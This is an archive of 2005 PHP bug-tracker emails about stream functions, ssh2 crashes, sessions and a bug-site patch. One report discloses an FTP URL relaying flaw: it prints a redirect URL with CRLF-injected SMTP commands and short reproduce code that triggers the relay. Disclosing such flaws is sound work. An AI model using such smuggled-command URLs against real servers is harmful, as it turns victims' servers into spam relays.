if($key==0){
unset ($stuff[$key]);
}else{
$value='This should appear below in the var_dump() because
$value
is passed by reference';
}
}
var_dump($stuff);
var_dump($fluff);
?



Previous Comments:


[2005-03-01 00:50:34] karl at posmaster dot com dot au

Although I can use a workaround for this problem (and in the meantime I
have), this is still a bug in php isn't it?

After using unset() on the array, in the loop, the reference breaks.



[2005-02-28 22:57:00] [EMAIL PROTECTED]

You are modifying array in the foreach loop.
Consider using for/while instead of foreach.
See this code:
?php
$stuff = array('one','two');
foreach ($stuff as $key = $value) {
$value='This should appear below in the var_dump() because $value
is passed by reference';
}
var_dump($stuff);
?



[2005-02-28 22:49:56] karl at posmaster dot com dot au

- $value is a refernce used in the foreach loop.
- If the unset is commented out, the reference to $stuff[1] as $value
on the second iteration of the loop works.
- The call to unset() on the first iteration breaks the reference

Actaul Output:
array(1) { [1]= string(3) two }

Expected Output
array(1) { [1]= string(3) This should appear below in the var_dump()
because $value is passed by reference }

?php
$stuff = array('one','two');
foreach ($stuff as $key = $value) {
if($key==0){
unset ($stuff[$key]);
}else{
$value='This should appear below in the var_dump() because $value
is passed by reference';
}
}
var_dump($stuff);
?



[2005-02-28 20:18:52] [EMAIL PROTECTED]

What reference? Please give the _EXACT_ expected result.
(and shorten the example script..)




[2005-02-27 22:51:05] karl at posmaster dot com dot au

No, the bug is still present.  The reference that should be present is
still broken.



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/32088

-- 
Edit this bug report at http://bugs.php.net/?id=32088edit=1


#32936 [Opn-Asn]: FTP URL relaying vulnerability

2005-05-04 Thread pollita
 ID:   32936
 Updated by:   [EMAIL PROTECTED]
 Reported By:  herbert dot groot dot jebbink at gmail dot com
-Status:   Open
+Status:   Assigned
 Bug Type: FTP related
 Operating System: Linux
 PHP Version:  5.0.4
-Assigned To:  
+Assigned To:  pollita
 New Comment:

Interresting...


Previous Comments:


[2005-05-04 00:33:27] herbert dot groot dot jebbink at gmail dot com

Description:

See http://dsbl.org/relay-methods#FTPURL for more details.

A exploit can be found at http://dividedsky.net/gfx/badges

This URL gives the next result.

HTTP/1.x 302 Found
Date: Tue, 03 May 2005 21:43:41 GMT
Server: Apache/2.0.53 (Debian GNU/Linux) PHP/4.3.10-10
Content-Location: badges.php
Vary: negotiate
TCN: choice
X-Powered-By: PHP/4.3.10-10
Location:
ftp://foo%0D%0AMAIL%20FROM%3Alt;gt;%0D%0ARCPT%20TO%3Alt;listme%40listme.dsbl.orggt;%0D%0ADATA%0D%0ASubject%3A%20DSBL%20Submission%0D%0ATo%3A%20listme%40listme.dsbl.org%0D%0A%0D%0ADSBL%20LISTME%3A%20ftp-url%20%5B82.197.205.88%5D%3A80%0D%0AVv%2FcqZoUAlAyMb9O2R+Xu0YSwQNRN5DL%0D%0Adividedsky.net%20website%20hit%0D%0ADSBL%20END%0D%0A.%0D%0A:[EMAIL
 PROTECTED]:25/
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=ISO-8859-1


Reproduce code:
---
?php

  // DO NOT RUN THIS CODE

  // YOUR SERVER WILL BE LISTED ON DSBL.ORG

  // RESULTING IN POSSIBLE REJECTS OF YOUR EMAILS

  $check = getimagesize('http://dividedsky.net/gfx/badges') ;

?







-- 
Edit this bug report at http://bugs.php.net/?id=32936edit=1


#32861 [Fbk-Bgs]: timeout is ignored in stream_select function

2005-04-27 Thread pollita
 ID:   32861
 Updated by:   [EMAIL PROTECTED]
 Reported By:  lew at mailduct dot com
-Status:   Feedback
+Status:   Bogus
 Bug Type: Filesystem function related
 Operating System: FreeBSD 4.11-REL
 PHP Version:  4.3.10
 New Comment:

From the stream_select() manual page:

The streams listed in the read array will be watched to see if
characters become available for reading (more precisely, to see if a
read will not block - in particular, a stream resource is also ready on
end-of-file, in which case an fread() will return a zero length string).





Previous Comments:


[2005-04-28 00:05:08] [EMAIL PROTECTED]

Does this happen with PHP 4.3.11 or 5.0.4 ?




[2005-04-27 21:53:44] lew at mailduct dot com

Description:

Timeouts are ignored in stream_select.  Instead, it always
returns with 1 as the number of streams affected, ignoring
any timeout seconds that are set.

This is true regardless of stream_set_blocking settings.

This may or may not be related to my reported FEOF problems:

pr #25649 (Sep 2003)
pr #32858 (Apr 2005)



Reproduce code:
---
$fp = fopen( '/var/log/maillog','r' );

##  Tried both ways, got same results
#stream_set_blocking( $fp,TRUE );
#stream_set_blocking( $fp,FALSE );

$r = array( $fp );

while( TRUE ) {
  $n = stream_select( $r,$w=NULL,$e=NULL,30 );
  if( $n===FALSE ) echo stream_select = FALSE\n;
  else echo stream_select = $n\n;
  echo fgets($fp);
  print( '.' );
}


Expected result:

Assuming no other program is writing to /var/log/maillog, I expect to
see a timeout condition every 30 seconds, as such:

stream_select = FALSE

Actual result:
--
Instead, I see iterations of:

stream_select = 1

as fast as the system can execute the loop.







-- 
Edit this bug report at http://bugs.php.net/?id=32861edit=1


#32132 [Opn]: SSH2 + Segmentaion Fault

2005-04-12 Thread pollita
 ID:  32132
 Updated by:  [EMAIL PROTECTED]
 Reported By: me at bereal dot ru
 Status:  Open
 Bug Type:*General Issues
 PHP Version: 5.0.3
 New Comment:

I *think* I've identified the bug in libssh2 (try the next release when
it comes out), for now you can avoid this bug by disabling compression.

$methods =
array('client_to_server'=array('comp'='none'),'server_to_client'=array('comp'='none'));

$connection = ssh2_connect($host, $post, $methods);


Previous Comments:


[2005-02-28 17:25:14] me at bereal dot ru

Program received signal SIGSEGV, Segmentation fault.
0x081d7c07 in _efree (ptr=0x836b85d) at
/usr/local/src/php-5.0.2/Zend/zend_alloc.c:281
281 REMOVE_POINTER_FROM_LIST(p);
(gdb) bt
#0  0x081d7c07 in _efree (ptr=0x836b85d) at
/usr/local/src/php-5.0.2/Zend/zend_alloc.c:281
#1  0x0813466d in php_ssh2_free_cb (ptr=0x6174732d, abstract=0x836b6ec)
at /usr/local/src/php-5.0.2/ext/ssh2/ssh2.c:68
#2  0x40052a1e in libssh2_comp_method_zlib_comp (session=0x836b6ec,
compress=0, dest=0x6174732d, dest_len=0x6174732d, payload_limit=4,

free_dest=0x6174732d, src=0x6174732d Address 0x6174732d out of
bounds, src_len=7566708, abstract=0x6174732d) at comp.c:223
#3  0x40059a2f in libssh2_packet_read (session=0x836b6ec,
should_block=0) at packet.c:695
#4  0x40059d19 in libssh2_packet_ask_ex (session=0x836b6ec,
packet_type=99 'c', data=0x6174732d, data_len=0x6174732d, match_ofs=1,
match_buf=0xbfff9fa8 , 
match_len=4, poll_socket=1) at packet.c:787
#5  0x400515d6 in libssh2_channel_process_startup (channel=0x83beedc,
request=0x6174732d Address 0x6174732d out of bounds, request_len=4, 
message=0x8357484 scp -pt
/vhosts/test/htdocs/synchronizer/test3/newser/001070902835.txt,
message_len=75) at channel.c:704
#6  0x4005a9c0 in libssh2_scp_send_ex (session=0x836b6ec,
path=0x83573bc
/vhosts/test/htdocs/synchronizer/test3/newser/001070902835.txt, 
mode=1635021613, size=1635021613, mtime=1109608206,
atime=1070956777) at scp.c:358
#7  0x08138d46 in zif_ssh2_scp_send (ht=3, return_value=0x83705ac,
this_ptr=0x0, return_value_used=0)
at /usr/local/src/php-5.0.2/ext/ssh2/ssh2_fopen_wrappers.c:965
#8  0x08225434 in zend_do_fcall_common_helper (execute_data=0xbfffcce0,
opline=0x83680f0, op_array=0x8361c14)
at /usr/local/src/php-5.0.2/Zend/zend_execute.c:2711
#9  0x08225798 in zend_do_fcall_handler (execute_data=0xbfffcce0,
opline=0x83680f0, op_array=0x6174732d)
at /usr/local/src/php-5.0.2/Zend/zend_execute.c:2843
#10 0x08213418 in execute (op_array=0x8361c14) at
/usr/local/src/php-5.0.2/Zend/zend_execute.c:1400
#11 0x08224f05 in zend_do_fcall_common_helper (execute_data=0xbfffd4e0,
opline=0x835adfc, op_array=0x8353cdc)
at /usr/local/src/php-5.0.2/Zend/zend_execute.c:2740
#12 0x08225671 in zend_do_fcall_by_name_handler (execute_data=0x737574,
opline=0x6174732d, op_array=0x6174732d)
at /usr/local/src/php-5.0.2/Zend/zend_execute.c:2825
#13 0x08213418 in execute (op_array=0x8353cdc) at
/usr/local/src/php-5.0.2/Zend/zend_execute.c:1400
#14 0x081f0151 in zend_execute_scripts (type=8, retval=0x0,
file_count=3) at /usr/local/src/php-5.0.2/Zend/zend.c:1060
#15 0x081b2ddf in php_execute_script (primary_file=0xb9a0) at
/usr/local/src/php-5.0.2/main/main.c:1629
#16 0x0822e9f5 in main (argc=2, argv=0xba24) at
/usr/local/src/php-5.0.2/sapi/cli/php_cli.c:943
#17 0x40252912 in __libc_start_main () from /lib/i686/libc.so.6



[2005-02-28 17:20:23] [EMAIL PROTECTED]

Thank you for this bug report. To properly diagnose the problem, we
need a backtrace to see what is happening behind the scenes. To
find out how to generate a backtrace, please read
http://bugs.php.net/bugs-generating-backtrace.php

Once you have generated a backtrace, please submit it to this bug
report and change the status back to Open. Thank you for helping
us make PHP better.





[2005-02-28 15:56:18] me at bereal dot ru

Description:

We've got the Segmentation Fault error when trying to send more than
2 files via ssh2_scp_send within one connection.

But its all okay when we use new connection for each file upload.

Reproduce code:
---
$ssh2 = $this-Connect($host);
@ssh2_scp_send($ssh2, $from, $path1.basename($from));
@ssh2_scp_send($ssh2, $from, $path2.basename($from));
@ssh2_scp_send($ssh2, $from, $path3.basename($from));
@ssh2_scp_send($ssh2, $from, $path4.basename($from));


Expected result:

Segmentation fault

Actual result:
--
Segmentation fault





-- 
Edit this bug report at http://bugs.php.net/?id=32132edit=1


#32563 [Asn-Csd]: stream_wrapper_register() allows registering of invalid schemes.

2005-04-04 Thread pollita
 ID:   32563
 Updated by:   [EMAIL PROTECTED]
 Reported By:  a at b dot c dot de
-Status:   Assigned
+Status:   Closed
 Bug Type: Filesystem function related
 Operating System: *
 PHP Version:  5.*
 Assigned To:  pollita
 New Comment:

This bug has been fixed in CVS.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
 
Thank you for the report, and for helping us make PHP better.

Your basic assessment is correct.  ':' is not a valid scheme character
([a-zA-Z0-9+.-]+), however, it is NOT the scheme delimiter by itself.

The full '://' is required to delimit a scheme identifier, so in your
example you would have needed to use fopen('tick:tock://thingy', ... to
even come close to triggering that wrapper.

The only wrapper which supports a single colon as a delimiter is zlib:
which is a hardcoded exception in the streams layer to maintain
backward compatability with old scripts.

The fact that you got Invalid argument as an error message suggests
you're using Win32 (please, when submitting a bug provide the actual
versions you've seen the specific error messages provided on -- Leave
the assumptions to us).  What the filesystem is attempting to do here
is locate an alternate data stream named 'tock:thingy' on the 'tick'
file which is of course an invalid name for an ADS.


Previous Comments:


[2005-04-04 09:34:02] [EMAIL PROTECTED]

It also crashes in HEAD:

#0  0x0019 in ?? ()
#1  0x0830dee5 in _php_stream_free (stream=0x8ba544c, close_options=11)
at /usr/src/php/php5/main/streams/streams.c:362
#2  0x0830fce7 in stream_resource_regular_dtor (rsrc=0x8ba4dc4) at
/usr/src/php/php5/main/streams/streams.c:1366
#3  0x08347879 in list_entry_destructor (ptr=0x8ba4dc4) at
/usr/src/php/php5/Zend/zend_list.c:178
#4  0x08345af2 in zend_hash_del_key_or_index (ht=0x85eab40, arKey=0x0,
nKeyLength=0, h=6, flag=1)
at /usr/src/php/php5/Zend/zend_hash.c:490
#5  0x083475dd in _zend_list_delete (id=6) at
/usr/src/php/php5/Zend/zend_list.c:58
#6  0x0833c9be in _zval_dtor_func (zvalue=0x8ba5044,
__zend_filename=0x8562434 /usr/src/php/php5/Zend/zend_variables.h, 
__zend_lineno=35) at /usr/src/php/php5/Zend/zend_variables.c:60
#7  0x083318c5 in _zval_dtor (zvalue=0x8ba5044,
__zend_filename=0x85623d8 /usr/src/php/php5/Zend/zend_execute_API.c,

__zend_lineno=391) at zend_variables.h:35
#8  0x08331a78 in _zval_ptr_dtor (zval_ptr=0x8ba4ff8,
__zend_filename=0x8563290 /usr/src/php/php5/Zend/zend_variables.c, 
__zend_lineno=175) at
/usr/src/php/php5/Zend/zend_execute_API.c:391
#9  0x0833cc63 in _zval_ptr_dtor_wrapper (zval_ptr=0x8ba4ff8) at
/usr/src/php/php5/Zend/zend_variables.c:175
#10 0x08345e5a in zend_hash_apply_deleter (ht=0x85eaa10, p=0x8ba4fec)
at /usr/src/php/php5/Zend/zend_hash.c:574
#11 0x0834607b in zend_hash_graceful_reverse_destroy (ht=0x85eaa10) at
/usr/src/php/php5/Zend/zend_hash.c:640
#12 0x08331411 in shutdown_executor () at
/usr/src/php/php5/Zend/zend_execute_API.c:216
#13 0x0833df9e in zend_deactivate () at
/usr/src/php/php5/Zend/zend.c:823
#14 0x082fd3e1 in php_request_shutdown (dummy=0x0) at
/usr/src/php/php5/main/main.c:1217
#15 0x083b9ca0 in main (argc=2, argv=0xbfe6ea74) at
/usr/src/php/php5/sapi/cli/php_cli.c:1057




[2005-04-04 09:33:10] [EMAIL PROTECTED]

Sara, can you please look into this?




[2005-04-04 08:03:08] a at b dot c dot de

Description:

URL schemes may not contain : characters (as this character is used
as the scheme delimiter). stream_wrapper_register() will allow
schemes containing : to be registered, even though the URLs that
result from using them are invalid.


Reproduce code:
---
?php
class foo_class{
function stream_open(){return true;}
}
stream_wrapper_register('tick:tock', 'foo_class');
print_r(stream_get_wrappers());
$fp=fopen('tick:tock:thingy','w');
?

Expected result:

Warning: stream_wrapper_register(tick:tock): Invalid argument ... on
line 5

Array
(
[0] = php
[1] = file
[2] = http
[3] = ftp
[4] = compress.zlib
)


Actual result:
--
Array
(
[0] = php
[1] = file
[2] = http
[3] = ftp
[4] = compress.zlib
[5] = tick:tock
)

Warning: fopen(tick:tock:thingy): failed to open stream: Invalid
argument ... on line 7





-- 
Edit this bug report at http://bugs.php.net/?id=32563edit=1


#31137 [Asn-Csd]: stream_filter_remove() segfaults when stream is already closed

2005-03-28 Thread pollita
 ID:   31137
 Updated by:   [EMAIL PROTECTED]
 Reported By:  tony2001 at phpclub dot net
-Status:   Assigned
+Status:   Closed
 Bug Type: Filesystem function related
 Operating System: *
 PHP Version:  5CVS-2004-12-16
 Assigned To:  pollita
 New Comment:

This bug has been fixed in CVS.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
 
Thank you for the report, and for helping us make PHP better.

Thanks for keeping me honest Jani


Previous Comments:


[2005-03-29 01:11:03] [EMAIL PROTECTED]

Assigning to correct developer. (And Sara: this is still broken in HEAD
:)




[2004-12-16 22:17:00] tony2001 at phpclub dot net

Description:

Segfault when trying to remove stream filter *after* closing the stream
itself.
Wez, please, look into this, I don't have much time to debug it myself
ATM.

Reproduce code:
---
?
//register some filter, it doesn't matter
stream_filter_register(f, php_user_filter);

//open a stream
$fp = fopen(somefile.tmp, w);

//append filter to the stream
$filter = stream_filter_append($fp, f);

//write something
fwrite($fp, something\n);

//we're closing the stream, but the filter is still there
fclose($fp);

//segfault when trying to remove filter
stream_filter_remove($filter);
?

Expected result:

.

Actual result:
--
Program received signal SIGSEGV, Segmentation fault.
0x08141ef2 in _php_stream_filter_flush (filter=0x82c54bc, finish=1) at
/home/dev/php-src/main/streams/filter.c:418
418 if (!filter-chain || !filter-chain-stream) {
(gdb) bt
#0  0x08141ef2 in _php_stream_filter_flush (filter=0x82c54bc, finish=1)
at /home/dev/php-src/main/streams/filter.c:418
#1  0x081213c5 in zif_stream_filter_remove (ht=1,
return_value=0x82b2bfc, this_ptr=0x0, return_value_used=0)
at /home/dev/php-src/ext/standard/streamsfuncs.c:1143
#2  0x0818fb03 in zend_do_fcall_common_helper_SPEC
(execute_data=0xbfffd3c0) at zend_vm_execute.h:155
#3  0x08192531 in ZEND_DO_FCALL_SPEC_CONST_HANDLER
(execute_data=0xbfffd3c0) at zend_vm_execute.h:1514
#4  0x0818f81b in execute (op_array=0x82c0814) at zend_vm_execute.h:58
#5  0x0816cba7 in zend_execute_scripts (type=8, retval=0x0,
file_count=3) at /home/dev/php-src/Zend/zend.c:1062
#6  0x0812ce37 in php_execute_script (primary_file=0xb7d0) at
/home/dev/php-src/main/main.c:1639
#7  0x081dcb25 in main (argc=2, argv=0xb864) at
/home/dev/php-src/sapi/cli/php_cli.c:943
#8  0x420157a4 in __libc_start_main () from /lib/tls/libc.so.6





-- 
Edit this bug report at http://bugs.php.net/?id=31137edit=1


#32279 [Opn]: _SESSION treated as super global without session_start()

2005-03-12 Thread pollita
 ID:  32279
 Updated by:  [EMAIL PROTECTED]
 Reported By: pguilbault at iweb dot ca
 Status:  Open
 Bug Type:Session related
 PHP Version: 5.0.3
 New Comment:

The way ZE is designed, this behavior is pretty darned unlikely to
change anytime before PHP7.

HOWEVER:  I would qualify it as an undocumented feature, as such it
is subject to removal without notice.  So use at your own risk.

Plus, as sniper said, if your PHP was compiled with --disable-session
then $_SESSION will be unavailable anyway.

To ensure maximum compatability you're best off use
$GLOBALS['somevar']['index'] = 'foo';  or   global $somevar;  
$somevar['index'] = 'foo';




Previous Comments:


[2005-03-12 19:23:30] [EMAIL PROTECTED]

Well, personally I don't think it's a bug. 
Other autoglobals are registered in the same time too (i.e. at module
init time).



[2005-03-12 14:43:42] [EMAIL PROTECTED]

Yes, it's definately a bug. And I wouldn't suggest using $_SESSION like
that as we might a) fix this bug b) this won't work if session extension
is not enabled..




[2005-03-11 15:54:38] pguilbault at iweb dot ca

Description:

Without using session_start() and setting $_SESSION['test']='hi there';
in a class and echoing thise $_SESSION['test'] outside the class with
echo the 'hi there'...

I was told it was a bug...
Althougth I am hoping it is NOT a bug and that I will be able to use
that super global for my Session Management class.

So I can use $_SESSION['test'] in my classes instead of
$GLOBAS['session_vars']['test']. which is way too long for my test.

Reproduce code:
---
class tester()
{
   function __construct()
   {
  $_SESSION['test'] = 'hi there';
   }
}

$test = new tester();
echo $_SESSION['test'];

Expected result:

hi there






-- 
Edit this bug report at http://bugs.php.net/?id=32279edit=1


#32152 [Opn-Fbk]: Navigation improvement for bugs.php.net

2005-03-01 Thread pollita
 ID:  32152
 Updated by:  [EMAIL PROTECTED]
 Reported By: amd at store20 dot com
-Status:  Open
+Status:  Feedback
 Bug Type:Feature/Change Request
 PHP Version: Irrelevant
 New Comment:

Since this section only appears *while* the bug in question is being
display, what purpose does providing a link (back to itself) serve?




Previous Comments:


[2005-03-01 16:16:16] amd at store20 dot com

Duh.. typo in previous patch.

--- bug.php 27 Oct 2004 07:30:51 -  1.69
+++ bug.php 1 Mar 2005 15:13:43 -
@@ -220,7 +220,7 @@
 div id=bugheader
  table id=details
   tr id=title
-   th id=numberBugnbsp;#?php echo $id?/th
+   th id=numbera href=http://bugs.php.net/?php echo
$id?Bugnbsp;#?php echo $id?/a/th
td id=summary colspan=5?php echo
htmlspecialchars($bug['sdesc'])?/td
   /tr
   tr id=submission



[2005-03-01 16:12:56] amd at store20 dot com

Description:

This patch improves navigation in bugs.php.net page.

Reproduce code:
---
? quick_access_to_bug.diff
Index: bug.php
===
RCS file: /repository/php-bugs-web/bug.php,v
retrieving revision 1.69
diff -u -r1.69 bug.php
--- bug.php 27 Oct 2004 07:30:51 -  1.69
+++ bug.php 1 Mar 2005 15:10:41 -
@@ -220,7 +220,7 @@
 div id=bugheader
  table id=details
   tr id=title
-   th id=numberBugnbsp;#?php echo $id?/th
+   th id=numbera href=http://bugs.php.net/?;?php echo
$id?Bugnbsp;#?php echo $id?/a/th
td id=summary colspan=5?php echo
htmlspecialchars($bug['sdesc'])?/td
   /tr
   tr id=submission







-- 
Edit this bug report at http://bugs.php.net/?id=32152edit=1


#32152 [Opn-Csd]: Navigation improvement for bugs.php.net

2005-03-01 Thread pollita
 ID:  32152
 Updated by:  [EMAIL PROTECTED]
 Reported By: amd at store20 dot com
-Status:  Open
+Status:  Closed
 Bug Type:Feature/Change Request
 PHP Version: Irrelevant
 New Comment:

Okay... harmless enough anyway...


Previous Comments:


[2005-03-01 23:03:51] amd at store20 dot com

It makes easier to view/refresh the bug information after you have
posted something to the bug and the POSTDATA is present.

For example, bugzilla has this kind of navigation support.



[2005-03-01 22:38:15] [EMAIL PROTECTED]

Since this section only appears *while* the bug in question is being
display, what purpose does providing a link (back to itself) serve?





[2005-03-01 16:16:16] amd at store20 dot com

Duh.. typo in previous patch.

--- bug.php 27 Oct 2004 07:30:51 -  1.69
+++ bug.php 1 Mar 2005 15:13:43 -
@@ -220,7 +220,7 @@
 div id=bugheader
  table id=details
   tr id=title
-   th id=numberBugnbsp;#?php echo $id?/th
+   th id=numbera href=http://bugs.php.net/?php echo
$id?Bugnbsp;#?php echo $id?/a/th
td id=summary colspan=5?php echo
htmlspecialchars($bug['sdesc'])?/td
   /tr
   tr id=submission



[2005-03-01 16:12:56] amd at store20 dot com

Description:

This patch improves navigation in bugs.php.net page.

Reproduce code:
---
? quick_access_to_bug.diff
Index: bug.php
===
RCS file: /repository/php-bugs-web/bug.php,v
retrieving revision 1.69
diff -u -r1.69 bug.php
--- bug.php 27 Oct 2004 07:30:51 -  1.69
+++ bug.php 1 Mar 2005 15:10:41 -
@@ -220,7 +220,7 @@
 div id=bugheader
  table id=details
   tr id=title
-   th id=numberBugnbsp;#?php echo $id?/th
+   th id=numbera href=http://bugs.php.net/?;?php echo
$id?Bugnbsp;#?php echo $id?/a/th
td id=summary colspan=5?php echo
htmlspecialchars($bug['sdesc'])?/td
   /tr
   tr id=submission







-- 
Edit this bug report at http://bugs.php.net/?id=32152edit=1


#32132 [Opn-Fbk]: SSH2 + Segmentaion Fault

2005-02-28 Thread pollita
 ID:  32132
 Updated by:  [EMAIL PROTECTED]
 Reported By: me at bereal dot ru
-Status:  Open
+Status:  Feedback
 Bug Type:*General Issues
 PHP Version: 5.0.3
 New Comment:

Thank you for this bug report. To properly diagnose the problem, we
need a backtrace to see what is happening behind the scenes. To
find out how to generate a backtrace, please read
http://bugs.php.net/bugs-generating-backtrace.php

Once you have generated a backtrace, please submit it to this bug
report and change the status back to Open. Thank you for helping
us make PHP better.




Previous Comments:


[2005-02-28 15:56:18] me at bereal dot ru

Description:

We've got the Segmentation Fault error when trying to send more than
2 files via ssh2_scp_send within one connection.

But its all okay when we use new connection for each file upload.

Reproduce code:
---
$ssh2 = $this-Connect($host);
@ssh2_scp_send($ssh2, $from, $path1.basename($from));
@ssh2_scp_send($ssh2, $from, $path2.basename($from));
@ssh2_scp_send($ssh2, $from, $path3.basename($from));
@ssh2_scp_send($ssh2, $from, $path4.basename($from));


Expected result:

Segmentation fault

Actual result:
--
Segmentation fault





-- 
Edit this bug report at http://bugs.php.net/?id=32132edit=1


#32132 [Opn-Bgs]: SSH2 + Segmentaion Fault

2005-02-28 Thread pollita
 ID:  32132
 Updated by:  [EMAIL PROTECTED]
 Reported By: me at bereal dot ru
-Status:  Open
+Status:  Bogus
 Bug Type:Feature/Change Request
 PHP Version: 5.0.3
 New Comment:

This bug system is for bugs in core PHP.   The ssh2 extension is a PECL
project so reporting of this bug probably should have started with
http://pecl.php.net/bugs/

Of course, beyond that the actual problem is in libssh2 which is a
sourceforge.net project so it *really* belongs in that bug system.

Sorry it's so convoluted, but there are a fair number of cooks in the
kitchen.

I will continue to work on the libssh2 bug despite closing this report.


Previous Comments:


[2005-02-28 17:56:46] [EMAIL PROTECTED]

I *think* I've identified the bug in libssh2 (try the next release when
it comes out), for now you can avoid this bug by disabling compression.

$methods =
array('client_to_server'=array('comp'='none'),'server_to_client'=array('comp'='none'));

$connection = ssh2_connect($host, $post, $methods);



[2005-02-28 17:25:14] me at bereal dot ru

Program received signal SIGSEGV, Segmentation fault.
0x081d7c07 in _efree (ptr=0x836b85d) at
/usr/local/src/php-5.0.2/Zend/zend_alloc.c:281
281 REMOVE_POINTER_FROM_LIST(p);
(gdb) bt
#0  0x081d7c07 in _efree (ptr=0x836b85d) at
/usr/local/src/php-5.0.2/Zend/zend_alloc.c:281
#1  0x0813466d in php_ssh2_free_cb (ptr=0x6174732d, abstract=0x836b6ec)
at /usr/local/src/php-5.0.2/ext/ssh2/ssh2.c:68
#2  0x40052a1e in libssh2_comp_method_zlib_comp (session=0x836b6ec,
compress=0, dest=0x6174732d, dest_len=0x6174732d, payload_limit=4,

free_dest=0x6174732d, src=0x6174732d Address 0x6174732d out of
bounds, src_len=7566708, abstract=0x6174732d) at comp.c:223
#3  0x40059a2f in libssh2_packet_read (session=0x836b6ec,
should_block=0) at packet.c:695
#4  0x40059d19 in libssh2_packet_ask_ex (session=0x836b6ec,
packet_type=99 'c', data=0x6174732d, data_len=0x6174732d, match_ofs=1,
match_buf=0xbfff9fa8 , 
match_len=4, poll_socket=1) at packet.c:787
#5  0x400515d6 in libssh2_channel_process_startup (channel=0x83beedc,
request=0x6174732d Address 0x6174732d out of bounds, request_len=4, 
message=0x8357484 scp -pt
/vhosts/test/htdocs/synchronizer/test3/newser/001070902835.txt,
message_len=75) at channel.c:704
#6  0x4005a9c0 in libssh2_scp_send_ex (session=0x836b6ec,
path=0x83573bc
/vhosts/test/htdocs/synchronizer/test3/newser/001070902835.txt, 
mode=1635021613, size=1635021613, mtime=1109608206,
atime=1070956777) at scp.c:358
#7  0x08138d46 in zif_ssh2_scp_send (ht=3, return_value=0x83705ac,
this_ptr=0x0, return_value_used=0)
at /usr/local/src/php-5.0.2/ext/ssh2/ssh2_fopen_wrappers.c:965
#8  0x08225434 in zend_do_fcall_common_helper (execute_data=0xbfffcce0,
opline=0x83680f0, op_array=0x8361c14)
at /usr/local/src/php-5.0.2/Zend/zend_execute.c:2711
#9  0x08225798 in zend_do_fcall_handler (execute_data=0xbfffcce0,
opline=0x83680f0, op_array=0x6174732d)
at /usr/local/src/php-5.0.2/Zend/zend_execute.c:2843
#10 0x08213418 in execute (op_array=0x8361c14) at
/usr/local/src/php-5.0.2/Zend/zend_execute.c:1400
#11 0x08224f05 in zend_do_fcall_common_helper (execute_data=0xbfffd4e0,
opline=0x835adfc, op_array=0x8353cdc)
at /usr/local/src/php-5.0.2/Zend/zend_execute.c:2740
#12 0x08225671 in zend_do_fcall_by_name_handler (execute_data=0x737574,
opline=0x6174732d, op_array=0x6174732d)
at /usr/local/src/php-5.0.2/Zend/zend_execute.c:2825
#13 0x08213418 in execute (op_array=0x8353cdc) at
/usr/local/src/php-5.0.2/Zend/zend_execute.c:1400
#14 0x081f0151 in zend_execute_scripts (type=8, retval=0x0,
file_count=3) at /usr/local/src/php-5.0.2/Zend/zend.c:1060
#15 0x081b2ddf in php_execute_script (primary_file=0xb9a0) at
/usr/local/src/php-5.0.2/main/main.c:1629
#16 0x0822e9f5 in main (argc=2, argv=0xba24) at
/usr/local/src/php-5.0.2/sapi/cli/php_cli.c:943
#17 0x40252912 in __libc_start_main () from /lib/i686/libc.so.6



[2005-02-28 15:56:18] me at bereal dot ru

Description:

We've got the Segmentation Fault error when trying to send more than
2 files via ssh2_scp_send within one connection.

But its all okay when we use new connection for each file upload.

Reproduce code:
---
$ssh2 = $this-Connect($host);
@ssh2_scp_send($ssh2, $from, $path1.basename($from));
@ssh2_scp_send($ssh2, $from, $path2.basename($from));
@ssh2_scp_send($ssh2, $from, $path3.basename($from));
@ssh2_scp_send($ssh2, $from, $path4.basename($from));


Expected result:

Segmentation fault

Actual result:
--
Segmentation fault





-- 
Edit this bug report at 

#31923 [Bgs]: file_get_contents() does not accept urls containing hypen period -.

2005-02-12 Thread pollita
 ID:   31923
 Updated by:   [EMAIL PROTECTED]
 Reported By:  mike-bugs dot php dot net at webheat dot co dot uk
 Status:   Bogus
 Bug Type: Filesystem function related
 Operating System: Linux
 PHP Version:  4.3.10
 New Comment:

gethostbyname() (Used by the network streams code among other parts of
PHP) treats this correctly according to RFC specification.

I can see this statement being inobvious.  I mean the gehostbyname()
function defined by the host systems standard C library.  You
assumption that PHP's network code does not attempt to validate the
hostname before passing it on to the the system for resolution.  It
works on some systems because on those systems the value is encoded
into a DNS packet and sent to the DNS server unmangled.  On other
systems, a validation check is performed first and if it doesn't pass,
then it doesn't bother waiting for a network round trip, instead simply
returning a failure.


Previous Comments:


[2005-02-12 17:17:11] mike-bugs dot php dot net at webheat dot co dot
uk

Thanks Magnus.

This does explain possible behaviour but doesn't explain why 2 Windows
PHP installs work fine but 2 Linux PHP installs (as installed by my
hosting company) do not.

This seems to imply that file_get_contents() doesn't validate the DNS
compliance of the arguement.

Also referring to the previously note from Pollita, as forgiving as the
browser maybe the DNS servers involved in the lookup of
http://mark-.deviantart.com are the ones that are dealing with this
more so from what I know.
The deviantart.com DNS server software also seems to be forgiving, not
just of look ups of this kind but of creating new record of this kind
too, as the DNS entry would have been created when the user mark-
signed up his account with Deviantart.com



[2005-02-12 06:21:56] [EMAIL PROTECTED]

It should be RFC883 (page 56) not RFC833.
http://www.faqs.org/rfcs/rfc883.html

The labels must follow the rules for ARPANET host names.  They must
start with a letter, end with a letter or digit, and have as interior
characters only letters, digits, and hyphen.




[2005-02-12 00:02:20] mike-bugs dot php dot net at webheat dot co dot
uk

If this is the case it does not explain why it works on two
machines(installed by me)and not on two otheres (installed by my
hosting company).

Btw, could you post a link to the RFD you are quoting from. I searched
on Google and found an RFC entitled Who talks TCP?

Thanks



[2005-02-11 21:36:12] [EMAIL PROTECTED]

Please refer to RFC833 Appendix 1.

Hyphens may not appear at the start or end of a label.

gethostbyname() (Used by the network streams code among other parts of
PHP) treats this correctly according to RFC specification.  Your
browser is simply more forgiving.



[2005-02-11 08:53:38] mike-bugs dot php dot net at webheat dot co dot
uk

The urls are as an example, http://emdeeuk.deviantart.com/ does work.
The url that identified the problem is: http://mark-.deviantart.com/
A hyphen is valid in DNS.



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/31923

-- 
